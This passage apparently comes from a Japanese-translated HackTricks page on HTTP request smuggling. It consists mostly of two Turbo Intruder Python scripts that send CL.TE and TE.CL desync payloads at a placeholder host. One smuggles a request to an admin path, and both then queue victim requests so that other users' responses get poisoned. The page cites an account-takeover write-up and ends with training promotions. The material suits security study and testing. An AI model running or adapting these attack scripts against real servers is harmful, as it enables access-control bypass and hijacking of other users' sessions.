engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

出典: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Tools

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする